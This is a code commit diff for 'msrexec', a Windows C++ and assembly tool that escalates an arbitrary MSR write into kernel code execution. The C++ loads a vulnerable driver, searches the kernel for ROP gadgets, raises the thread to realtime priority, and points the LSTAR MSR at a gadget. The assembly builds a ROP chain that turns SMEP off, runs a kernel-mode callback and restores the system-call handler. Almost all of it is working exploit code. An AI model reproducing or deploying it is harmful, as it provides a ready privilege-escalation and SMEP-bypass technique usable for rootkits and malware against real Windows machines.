syscall handler works LSTAR gets restored...

README.md

@@ -1,3 +0,0 @@
-# msrexec
-
-elevate arbitrary MSR writes to kernel execution

main.cpp

@@ -2,6 +2,9 @@
 #include "vdm.hpp"
 #include <iostream>
 
+using ex_alloc_pool_t = void* (*)(std::uint32_t, std::size_t);
+using dbg_print_t = void(*)(const char*, ...);
+
 int __cdecl main(int argc, char** argv)
 {
 	const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
@@ -11,20 +14,40 @@ int __cdecl main(int argc, char** argv)
 		return {};
 	}
 
-	std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n",
+	std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", drv_handle, drv_key.c_str(), drv_status);
-		drv_handle, drv_key.c_str(), drv_status);
-	std::getchar();
-
 	std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
 	std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
 
-	vdm::writemsr_t _write_msr = 
+	writemsr_t _write_msr = 
 		[&](std::uint32_t reg, std::uintptr_t value) -> void
-	{ vdm::writemsr(reg, value); };
+	{
+		// put your code here to write MSR....
+		// the code is defined in vdm::writemsr for me...
+		vdm::writemsr(reg, value); 
+	};
+
+	const auto ex_alloc_pool =
+		reinterpret_cast<ex_alloc_pool_t>(
+			utils::kmodule::get_export(
+				"ntoskrnl.exe", "ExAllocatePool"));
+
+	const auto dbg_print = 
+		reinterpret_cast<dbg_print_t>(
+			utils::kmodule::get_export(
+				"ntoskrnl.exe", "DbgPrint"));
 
-	sizeof write_msr_t;
 	vdm::msrexec_ctx msrexec(_write_msr);
-	msrexec.exec([&]() -> void { int a = 10; });
+	std::printf("press enter to run 100 syscall tests...\n");
+	std::getchar();
+
+	for (auto idx = 0u; idx < 100; ++idx)
+	{
+		msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
+		{ 
+			dbg_print("> allocated pool -> 0x%p\n",
+				ex_alloc_pool(NULL, 0x1000));
+		});
+	}
 
 	const auto unload_result = 
 		vdm::unload_drv(drv_handle, drv_key);
@@ -34,4 +57,7 @@ int __cdecl main(int argc, char** argv)
 		std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result);
 		return {};
 	}
+
+	std::printf("completed tests...\n");
+	std::getchar();
 }

msrexec.cpp

@@ -1,5 +1,14 @@
 #include "msrexec.hpp"
 
+void msrexec_handler()
+{
+	// restore LSTAR....
+	__writemsr(IA32_LSTAR_MSR, m_system_call);
+
+	// call usermode code...
+	//callback();
+}
+
 namespace vdm
 {
 	msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
@@ -13,12 +22,12 @@ namespace vdm
 		if (!m_sysret_gadget)
 			m_sysret_gadget =
 				utils::rop::find_kgadget(
-					SYSRET_GADGET, "xx");
+					SYSRET_GADGET, "xxx");
 
 		if (!m_pop_rcx_gadget)
 			m_pop_rcx_gadget =
 				utils::rop::find_kgadget(
-					POP_RCX_GADGET, "xx") + 2;
+					POP_RCX_GADGET, "xx");
 
 		if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
 			return;
@@ -56,12 +65,31 @@ namespace vdm
 		std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
 		std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
 		std::printf("> m_system_call -> 0x%p\n", m_system_call);
-		std::getchar();
 	}
 
 	void msrexec_ctx::exec(callback_t kernel_callback)
 	{
+		const thread_info_t thread_info =
+		{ 
+			GetPriorityClass(GetCurrentProcess()), 
+			GetThreadPriority(GetCurrentThread()) 
+		};
+
+		// make it so our thread is highest possible priority...
+		SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
+		SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
+
+		// we want to finish off our quantum...
+		while (!SwitchToThread());
+
+		// set LSTAR to first rop gadget... race begins here...
 		wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
-		syscall_wrapper();
+
+		// go go gadget kernel execution...
+		syscall_wrapper(kernel_callback);
+
+		// reset thread priority...
+		SetPriorityClass(GetCurrentProcess(), thread_info.first);
+		SetThreadPriority(GetCurrentThread(), thread_info.second);
 	}
 }

msrexec.hpp

@@ -1,33 +1,25 @@
 #pragma once
 #include "utils.hpp"
+#include "syscall_handler.h"
+#include <intrin.h>
 
 #define IA32_LSTAR_MSR 0xC0000082
 #define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
 #define POP_RCX_GADGET "\x59\xc3"
-#define SYSRET_GADGET  "\x0F\x07"
+#define SYSRET_GADGET  "\x48\x0F\x07"
 
-#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B"
+// this is win10 2004... TODO: see how far back this signature works...
-#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx"
+#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
+#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
 static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
 
-extern "C" std::uint32_t m_kpcr_rsp_offset;
-extern "C" std::uint32_t m_kpcr_krsp_offset;
-
-extern "C" std::uintptr_t m_pop_rcx_gadget;
-extern "C" std::uintptr_t m_mov_cr4_gadget;
-extern "C" std::uintptr_t m_sysret_gadget;
-
-extern "C" std::uintptr_t m_smep_on;
-extern "C" std::uintptr_t m_smep_off;
-
-extern "C" std::uintptr_t m_system_call;
-extern "C" void syscall_wrapper();
-
-namespace vdm
-{
 using callback_t = std::function<void()>;
+using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
 using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
+extern "C" void msrexec_handler();
 
+namespace vdm
+{
 	class msrexec_ctx
 	{
 	public:

msrexec.vcxproj

@@ -78,6 +78,7 @@
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <LargeAddressAware>false</LargeAddressAware>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -95,6 +96,7 @@
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <LargeAddressAware>false</LargeAddressAware>
     </Link>
   </ItemDefinitionGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

msrexec.vcxproj.filters

@@ -39,8 +39,8 @@
     </ClCompile>
   </ItemGroup>
   <ItemGroup>
-    <None Include="syscall_handler.asm">
+    <MASM Include="syscall_handler.asm">
       <Filter>Source Files</Filter>
-    </None>
+    </MASM>
   </ItemGroup>
 </Project>

syscall_handler.asm

@@ -1,3 +1,5 @@
+extern msrexec_handler : proc
+
 .data
 	; offsets into _KPCR/_KPRCB
 	m_kpcr_rsp_offset  dq	0h		
@@ -25,47 +27,52 @@
 
 .code
 syscall_handler proc
-	cli															; smep is disabled and LSTAR is still not restored at this point...													; we dont want the thread schedular to smoke us...
+	swapgs														; swap gs to kernel gs (_KPCR...)
-	swapgs														; swap gs to kernel gs, and switch to kernel stack...
+
-	mov gs:m_kpcr_rsp_offset, rsp
+	mov rax, m_kpcr_rsp_offset									; save usermode stack to _KPRCB
-	mov rsp, gs:m_kpcr_krsp_offset
+	mov gs:[rax], rsp
+
+	mov rax, m_kpcr_krsp_offset									; load kernel rsp....
+	mov rsp, gs:[rax]
 
 	push rcx													; push RIP
 	push r11													; push EFLAGS
-	mov rcx, r10												; swapped by syscall...
 
+	mov rcx, r10												; swapped by syscall instruction so we switch it back...
 	sub rsp, 020h
-	; call msrexec_handler
+	call msrexec_handler										; call c++ handler (which restores LSTAR and calls lambda...)
 	add rsp, 020h
 
 	pop r11														; pop EFLAGS
 	pop rcx														; pop RIP
-	mov rsp, gs:m_kpcr_rsp_offset								; restore rsp...
+
-	swapgs
+	mov rax, m_kpcr_rsp_offset									; restore rsp back to usermode stack...
-	sti															; we will be enabling smep in the next return...
+	mov rsp, gs:[rax]											
-	mov rax, m_smep_on											; cr4 will be set to rax in the next return...
+
+	swapgs														; swap back to TIB...
 	ret
 syscall_handler endp
 
 syscall_wrapper proc
 	push r10			
-	mov r10, rcx												; rcx contains RIP after syscall instruction is executed...	
+	mov r10, rcx												
-	push m_sysret_gadget										; rop to sysret...
+	push m_sysret_gadget										
 
-	lea rax, finish												; push rip back into rax...
+	lea rax, finish												
 	push rax
 	push m_pop_rcx_gadget
 
-	push m_mov_cr4_gadget										; enable smep...
+	push m_mov_cr4_gadget										
 	push m_smep_on
 	push m_pop_rcx_gadget
 
-	lea rax, syscall_handler									; rop from mov cr4 gadget to syscall handler...
+	lea rax, syscall_handler									
 	push rax
 
-	push m_mov_cr4_gadget										; rop from syscall handler to enable smep again...
+	push m_mov_cr4_gadget										
-	push m_smep_off												; gets pop'ed into rcx by gadget at LSTAR...
+	push m_smep_off												
 	syscall
+
 finish:
 	pop r10
 	ret

syscall_handler.h

@@ -1,6 +1,13 @@
 #pragma once
+#include <cstdint>
+extern "C" std::uint32_t m_kpcr_rsp_offset;
+extern "C" std::uint32_t m_kpcr_krsp_offset;
 
-extern "C" unsigned long long cr4_value;
+extern "C" std::uintptr_t m_pop_rcx_gadget;
-extern "C" unsigned long kpcr_rsp_offset;
+extern "C" std::uintptr_t m_mov_cr4_gadget;
-extern "C" unsigned long kpcr_krsp_offset;
+extern "C" std::uintptr_t m_sysret_gadget;
-extern "C" void syscall_handler(unsigned long long rip);
+
+extern "C" std::uintptr_t m_smep_on;
+extern "C" std::uintptr_t m_smep_off;
+extern "C" std::uintptr_t m_system_call;
+extern "C" void syscall_wrapper(...);